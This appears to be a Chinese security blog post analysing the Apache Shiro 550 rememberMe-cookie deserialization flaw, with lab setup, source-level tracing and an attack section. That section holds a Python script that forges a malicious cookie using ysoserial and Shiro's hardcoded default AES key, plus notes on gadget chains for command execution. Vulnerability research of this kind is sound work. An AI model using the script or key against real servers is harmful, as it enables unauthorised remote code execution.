Java安全之Shiro 550反序列化漏洞分析
阿新 • • 發佈:2020-12-24
# Java安全之Shiro 550反序列化漏洞分析
首發自安全客:[Java安全之Shiro 550反序列化漏洞分析](https://www.anquanke.com/post/id/225442#h2-7)
## 0x00 前言
在近些時間基本都能在一些滲透或者是攻防演練中看到Shiro的身影,也是Shiro的該漏洞也是用的比較頻繁的漏洞。本文對該Shiro550 反序列化漏洞進行一個分析,瞭解漏洞產生過程以及利用方式。
## 0x01 漏洞原理
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,產生原因是因為shiro接受了Cookie裡面`rememberMe`的值,然後去進行Base64解密後,再使用aes金鑰解密後的資料,進行反序列化。
反過來思考一下,如果我們構造該值為一個cc鏈序列化後的值進行該金鑰aes加密後進行base64加密,那麼這時候就會去進行反序列化我們的payload內容,這時候就可以達到一個命令執行的效果。
```
獲取rememberMe值 -> Base64解密 -> AES解密 -> 呼叫readobject反序列化操作
```
## 0x02 漏洞環境搭建
漏洞環境:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
開啟shiro/web目錄,對pom.xml進行配置依賴配置一個cc4和jstl元件進來,後面再去說為什麼shiro自帶了`commons-collections:3.2.1`還要去手工配置一個`commons-collections:4.0`。
```xml
1.6
1.6
...
javax.servlet
jstl
1.2
runtime
org.apache.commons
commons-collections4
4.0
```
### 坑點
Shiro的編譯太痛苦了,各種坑,下面來排一下坑。
配置`maven\conf\toolchains.xml`,這裡需要指定JDK1.6的路徑和版本,編譯必須要1.6版本,但不影響在其他版本下執行。
```xml
jdk
1.6
sun
D:\JAVA_JDK\jdk1.6
```
這些都完成後進行編譯。
```java
Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure
```
這裡還是報錯了。
後面編譯的時候,切換成了maven3.1.1的版本。然後就可以編譯成功了。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110423907-1937832134.png)
但是後面又發現部署的時候訪問不到,編譯肯定又出了問題。
後面把這兩個裡面的``標籤給註釋掉,然後就可以了。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110434440-1647790920.png)
把pom.xml配置貼一下。
```xml
1.6
1.6
org.apache.shiro.samples
shiro-samples
1.2.4
../pom.xml
4.0.0
samples-web
Apache Shiro :: Samples :: Web
war
maven-surefire-plugin
never
org.mortbay.jetty
maven-jetty-plugin
${jetty.version}
/
9080
60000
./target/yyyy_mm_dd.request.log
90
true
false
GMT
javax.servlet
jstl
runtime
javax.servlet
servlet-api
org.slf4j
slf4j-log4j12
runtime
log4j
log4j
runtime
net.sourceforge.htmlunit
htmlunit
2.6
org.apache.shiro
shiro-core
org.apache.shiro
shiro-web
org.mortbay.jetty
jetty
${jetty.version}
test
org.mortbay.jetty
jsp-2.1-jetty
${jetty.version}
test
org.slf4j
jcl-over-slf4j
runtime
javax.servlet
jstl
1.2
runtime
org.apache.commons
commons-collections4
4.0
```
經過2天的排坑,終於把這個坑給解決掉,這裡必須貼幾張照片慶祝慶祝。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110448906-841642180.png)
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110457490-1181337778.png)
輸入賬號密碼,勾選Remerber me選項。進行抓包
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110514432-463614623.png)
下面就可以來分析該漏洞了。
## 0x03 漏洞分析
### 加密
漏洞產生點在`CookieRememberMeManager`該位置,來看到`rememberSerializedIdentity`方法。
該方法的作用為使用Base64對指定的序列化位元組陣列進行編碼,並將Base64編碼的字串設定為cookie值。
那麼我們就去檢視一下該方法在什麼地方被呼叫。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110526013-837985793.png)
在這可以看到該類繼承的`AbstractRememberMeManager`類呼叫了該方法。跟進進去檢視
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110534584-1788639343.png)
發現這個方法被`rememberIdentity`方法給呼叫了,同樣方式繼續跟進。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110542695-1948520394.png)
在這裡會發現`rememberIdentity`方法會被`onSuccessfulLogin`方法給呼叫,跟蹤到這一步,就看到了`onSuccessfulLogin`登入成功的方法。
當登入成功後會呼叫`AbstractRememberMeManager.onSuccessfulLogin`方法,該方法主要實現了生成加密的`RememberMe Cookie`,然後將`RememberMe Cookie`設定為使用者的Cookie值。在前面我們分析的`rememberSerializedIdentity`方法裡面去實現了。可以來看一下這段程式碼。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110552190-499178791.png)
回到`onSuccessfulLogin`這個地方,打個斷點,然後web登入頁面輸入root/secret 口令進行提交,再回到IDEA中檢視。找到登入成功方法後,我們可以來正向去做個分析,不然剛剛的方式比較麻煩。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110602006-1866085477.png)
這裡看到呼叫了`isRememberMe`很顯而易見得發現這個就是一個判斷使用者是否選擇了`Remember Me`選項。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110611384-876862229.png)
如果選擇`Remember Me`功能的話返回true,如果不選擇該選項則是呼叫log.debug方法在控制檯輸出一段字元。
這裡如果為true的話就會呼叫`rememberIdentity`方法並且傳入三個引數。F7跟進該方法。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110621194-443574800.png)
前面說過該方法會去生成一個`PrincipalCollection`物件,裡面包含登入資訊。F7進行跟進`rememberIdentity`方法。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110633827-1058311184.png)
檢視`convertPrincipalsToBytes`具體的實現與作用。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110645053-1262645072.png)
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110652710-275600950.png)
跟進該方法檢視具體實現。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110701025-255131003.png)
看到這裡其實已經很清晰了,進行了一個序列化,然後返回序列化後的Byte陣列。
再來看到下一段程式碼,這裡如果`getCipherService`方法不為空的話,就會去執行下一段程式碼。`getCipherService`方法是獲取加密模式。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110709395-1842839306.png)
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110717926-217858186.png)
還是繼續跟進檢視。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110726800-1330567957.png)
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110734434-1308875681.png)
檢視呼叫,會發現在構造方法裡面對該值進行定義。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110747910-2144148985.png)
完成這一步後,就來到了這裡。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110757443-26703044.png)
呼叫`encrypt`方法,對序列化後的資料進行處理。繼續跟進。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110806194-711411513.png)
這裡呼叫`cipherService.encrypt`方法並且傳入序列化資料,和`getEncryptionCipherKey`方法。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110818048-762686000.png)
`getEncryptionCipherKey`從名字上來看是獲取金鑰的方法,檢視一下,是怎麼獲取金鑰的。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110829713-264153809.png)
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110838406-1947658720.png)
檢視呼叫的時候,發現`setCipherKey`方法在構造方法裡面被呼叫了。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110850230-557920553.png)
檢視`DEFAULT_CIPHER_KEY_BYTES`值會發現裡面定義了一串金鑰
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110858746-1541339757.png)
而這個金鑰是定義死的。
返回剛剛的加密的地方。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110946657-613368525.png)
這個地方選擇跟進,檢視具體實現。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217110955752-1127922152.png)
檢視到這裡發現會傳入前面序列化的陣列和key值,最後再去呼叫他的過載方法並且傳入序列化陣列、key、ivBytes值、generate。
iv的值由`generateInitializationVector`方法生成,進行跟進。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111005351-1185175397.png)
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111018475-1226186140.png)
檢視`getDefaultSecureRandom`方法實現。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111041760-640483587.png)
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111105390-1194589664.png)
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111114029-453905436.png)
返回`generateInitializationVector`方法繼續檢視。這個new了一個byte陣列長度為16
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111127305-1204062441.png)
最後得到這個ivBytes值進行返回。
這裡執行完成後就拿到了ivBytes的值了,這裡再回到加密方法的地方檢視具體加密的實現。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111139682-774026798.png)
這裡呼叫crypt方法進行獲取到加密後的資料,而這個output是一個byte陣列,大小是加密後資料的長度加上iv這個值的長度。
#### iv 的小tips
- 某些加密演算法要求明文需要按一定長度對齊,叫做塊大小(BlockSize),我們這次就是16位元組,那麼對於一段任意的資料,加密前需要對最後一個塊填充到16 位元組,解密後需要刪除掉填充的資料。
- AES中有三種填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
- PKCS7Padding跟PKCS5Padding的區別就在於資料填充方式,PKCS7Padding是缺幾個位元組就補幾個位元組的0,而PKCS5Padding是缺幾個位元組就補充幾個位元組的幾,好比缺6個位元組,就補充6個位元組
不瞭解加密演算法的可以看[Java安全之安全加密演算法](https://www.cnblogs.com/nice0e3/p/13894507.html)
在執行完成後序列化的資料已經被進行了AES加密,返回一個byte陣列。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111156128-495305716.png)
執行完成後,來到這一步,然後進行跟進。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111204872-1453282672.png)
到了這裡其實就沒啥好說的了。後面的步驟就是進行base64加密後設置為使用者的Cookie的rememberMe欄位中。
### 解密
由於我們並不知道哪個方法裡面去實現這麼一個功能。但是我們前面分析加密的時候,呼叫了`AbstractRememberMeManager.encrypt`進行加密,該類中也有對應的解密操作。那麼在這裡就可以來檢視該方法具體會在哪裡被呼叫到,就可以追溯到上層去,然後進行下斷點。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111216069-1078957245.png)
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111225478-1030579328.png)
檢視 `getRememberedPrincipals`方法在此處下斷點
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111234075-2082404174.png)
跟蹤
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111244076-699055404.png)
返回`getRememberedPrincipals`方法。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111258591-2077504686.png)
在下面呼叫了`convertBytesToPrincipals`方法,進行跟蹤。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111310167-1213330733.png)
檢視`decrypt`方法具體實現。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111319564-1703101521.png)
和前面的加密步驟類似,這裡不做詳細講解。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111331030-650818996.png)
生成iv值,然後傳入到他的過載方法裡面。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111340096-2094051273.png)
到了這裡執行完後,就進行了AES的解密完成。
還是回到這一步。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111349324-614640188.png)
這裡返回了`deserialize`方法的返回值,並且傳入AES加密後的資料。
進行跟蹤該方法。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111359845-1527531047.png)
繼續跟蹤。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111410776-2081236822.png)
到了這步,就會對我們傳入進來的AES解密後的資料進行呼叫`readObject`方法進行反序列化操作。
## 0x04 漏洞攻擊
### 漏洞探測
現在已經知道了是因為獲取rememberMe值,然後進行解密後再進行反序列化操作。
那麼在這裡如果拿到了金鑰就可以偽造加密流程。
網上找的一個加密的指令碼
```python
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('http://u89cy6.dnslog.cn')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
```
獲取到值後加密後的payload後可以在burp上面進行手工傳送測試一下。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111427639-1670213224.png)
傳送完成後,就可以看到DNSLOG平臺上面回顯了。
![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201217111436281-1277257083.png)
當使用URLDNS鏈的打過去,在DNSLOG平臺有回顯的時候,就說明這個地方存在反序列化漏洞。
但是要利用的話還得是使用CC鏈等利用鏈去進行命令的執行。
### 漏洞利用
前面我們手動給shio配上cc4的元件,而shiro中自帶的是cc3.2.1版本的元件,為什麼要手工去配置呢?
其實shiro中重寫了`ObjectInputStream`類的`resolveClass`函式,`ObjectInputStream`的`resolveClass`方法用的是`Class.forName`類獲取當前描述器所指代的類的Class物件。而重寫後的`resolveClass`方法,採用的是`ClassUtils.forName`。檢視該方法
```java
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}
```
在傳參的地方如果傳入一個`Transform`陣列的引數,會報錯。
後者並不支援傳入陣列型別。
resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支援裝載陣列型別的class
那麼在這裡可以使用cc2和cc4的利用鏈去進行命令執行,因為這兩個都是基於javassist去實現的,而不是基於`Transform`陣列。具體的可以看前面我的分析利用鏈文章。
除了這兩個其實在部署的時候,可以發現元件當中自帶了一個CommonsBeanutils的元件,這個元件也是有利用鏈的。可以使用CommonsBeanutils這條利用鏈進行命令執行。
那麼除了這些方式就沒有了嘛?假設沒有cc4的元件,就一定執行不了命令了嘛?其實方式還是有的。wh1t3p1g師傅在[文章](https://www.anquanke.com/post/id/192619)中已經給出瞭解決方案。需要重新去特殊構造一下利用鏈。
### 參考文章
```
https://www.anquanke.com/post/id/192619#h2-4
https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils
https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A
```
## 0x05 結尾
在該漏洞中我覺得主要的難點在於環境搭建上費了不少時間,還有的就是關於shiro中大部分利用鏈沒法使用的